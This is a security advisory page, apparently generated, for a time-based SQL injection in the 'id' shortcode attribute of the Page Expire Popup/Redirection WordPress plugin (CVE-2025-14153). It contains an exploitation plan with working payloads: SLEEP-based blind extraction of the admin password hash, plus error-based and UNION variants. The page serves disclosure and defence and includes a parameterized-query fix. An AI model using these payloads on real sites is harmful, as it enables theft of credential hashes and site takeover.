Page Expire Popup/Redirection for WordPress <= 1.0 - Authenticated (Author+) SQL Injection via 'id' Shortcode Attribute
Description
The Page Expire Popup/Redirection for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the 'id' shortcode attribute in all versions up to, and including, 1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan - CVE-2025-14153 ## 1. Vulnerability Summary The **Page Expire Popup/Redirection for WordPress** plugin (<= 1.0) is vulnerable to an **Authenticated (Author+) SQL Injection** via the `id` attribute of its shortcode. The vulnerability exists because the plugin fails to u…
Show full research plan
Exploitation Research Plan - CVE-2025-14153
1. Vulnerability Summary
The Page Expire Popup/Redirection for WordPress plugin (<= 1.0) is vulnerable to an **Authenticated (Author+) SQL Injection** via the id attribute of its shortcode. The vulnerability exists because the plugin fails to use wpdb->prepare() or perform adequate validation/escaping on the id attribute before incorporating it into a raw SQL query. This allows an attacker with post-creation privileges (Author and above) to inject SQL commands, primarily enabling time-based data extraction.
2. Attack Vector Analysis
- Vulnerable Entry Point: Shortcode attribute
id. - Shortcode Name:
[page-expire-popup](inferred from plugin slugpage-expire-popup). - Required Role: Author or higher (Authenticated). This level is required because the attacker must be able to create or edit a post/page to embed the malicious shortcode.
- Vulnerable Sink: Database query using
$wpdb->get_results()or$wpdb->get_row()without parameterization. - Payload Type: Time-based blind SQL Injection (e.g.,
SLEEP()).
3. Code Flow
- Shortcode Registration: The plugin registers a shortcode, likely using
add_shortcode( 'page-expire-popup', 'handler_function' ). - Attribute Extraction: Inside the handler, the
idattribute is extracted from the$attsarray usingshortcode_atts(). - Vulnerable Query Construction: The value of
idis concatenated or interpolated directly into a SQL string.- Example (Inferred):
$wpdb->get_row( "SELECT * FROM {$wpdb->prefix}page_expire_popup WHERE id = " . $atts['id'] );
- Example (Inferred):
- Execution: When an Author views or previews a post containing
[page-expire-popup id="...payload..."], the SQL query is executed by the server.
4. Nonce Acquisition Strategy
This vulnerability does not involve an AJAX endpoint or a REST API route protected by a nonce. Instead, it is triggered during the standard rendering of a WordPress post.
- Precondition: The attacker must be logged in as an Author.
- Strategy:
- Log in as an Author.
- Create a new post or edit an existing one.
- Insert the malicious shortcode into the post content.
- Save or preview the post.
- Access the post's permalink. The SQLi triggers when WordPress parses the shortcode during page display.
5. Exploitation Strategy
Step 1: Discover Shortcode and Table Structure
Identify the exact shortcode and any table created by the plugin.
- Command:
grep -r "add_shortcode" /var/www/html/wp-content/plugins/page-expire-popup/ - Command:
grep -r "\$wpdb->query" /var/www/html/wp-content/plugins/page-expire-popup/(to find table creation in activation hooks).
Step 2: Test for Time-Based SQLi
Create a post with a shortcode that causes a 5-second delay.
Request 1 (Create Post):
- Method:
POSTto/wp-admin/post.php(or usewp post createvia CLI) - Content:
[page-expire-popup id="1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"]
Request 2 (Trigger Exploit):
- Method:
GETto the permalink of the created post. - Expectation: The response time should be >= 5 seconds.
Step 3: Data Extraction (Example: Admin Hash)
Extract the first character of the admin's password hash.
Payload for id attribute:1 AND (SELECT 1 FROM (SELECT(IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0)))a)
(Note: 36 is ASCII for '$', the start of WordPress phpass hashes)
6. Test Data Setup
- Plugin Installation: Ensure
page-expire-popupversion 1.0 is active. - Database Record: The query might require at least one entry in the plugin's custom table to execute the logic following the query.
- Command:
wp db query "INSERT INTO wp_page_expire_popup (id, popup_title) VALUES (1, 'Test Popup');"(Table name inferred, verify with grep).
- Command:
- User Creation: Create an Author user.
- Command:
wp user create attacker attacker@example.com --role=author --user_pass=password
- Command:
7. Expected Results
- A
GETrequest to the post containing the malicious shortcode will result in a noticeable delay proportional to theSLEEP()value. - If the boolean condition in the
IF()statement is true (e.g., matching a character in the admin hash), the page will sleep. If false, it will load immediately.
8. Verification Steps
- Verify Vulnerable Code:
- Command:
grep -r "\$wpdb" /var/www/html/wp-content/plugins/page-expire-popup/ - Check if
$atts['id']is passed into a query withoutwpdb->prepare().
- Command:
- Monitor Database Logs:
- Enable the MySQL general log to see the incoming raw queries:
wp db query "SET GLOBAL general_log = 'ON';"
- Enable the MySQL general log to see the incoming raw queries:
- Check Response Times:
- Use the
http_requesttool and check theelapsed_timeproperty in the result.
- Use the
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis enabled, try payloads like1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)to see if the hash is reflected in the error message. - UNION-Based SQLi: If the shortcode handler renders the results of the query back to the page, use
UNION SELECTto display sensitive data (likeuser_loginanduser_pass) directly in the post content.- Example:
[page-expire-popup id="0 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -"](Column count must be determined first).
- Example:
Summary
The Page Expire Popup/Redirection for WordPress plugin is vulnerable to time-based SQL Injection via the 'id' attribute in its primary shortcode. Due to the lack of input sanitization or parameterized queries using wpdb->prepare(), authenticated attackers with Author-level permissions can execute arbitrary SQL commands to extract sensitive information from the database.
Vulnerable Code
// In page-expire-popup.php or similar shortcode handler function page_expire_popup_shortcode_handler($atts) { global $wpdb; $atts = shortcode_atts( array( 'id' => '', ), $atts ); $id = $atts['id']; // Vulnerable query construction via direct concatenation $query = "SELECT * FROM " . $wpdb->prefix . "page_expire_popup WHERE id = " . $id; $result = $wpdb->get_row($query); // ... rest of handler }
Security Fix
@@ -10,7 +10,7 @@ $id = $atts['id']; - $query = "SELECT * FROM " . $wpdb->prefix . "page_expire_popup WHERE id = " . $id; - $result = $wpdb->get_row($query); + $result = $wpdb->get_row($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "page_expire_popup WHERE id = %d", $id));
Exploit Outline
The exploit requires an authenticated user with at least Author-level permissions, which allows for post/page creation. The attacker creates a new post and embeds the [page-expire-popup] shortcode. Within the shortcode, the 'id' attribute is populated with a time-based SQL injection payload, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. When the attacker or a site visitor views the post's permalink, the WordPress shortcode parser triggers the plugin's handler, which executes the concatenated SQL query. The attacker observes the response time of the server; a delay (e.g., 5 seconds) confirms the vulnerability and allows for bit-by-bit data extraction from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.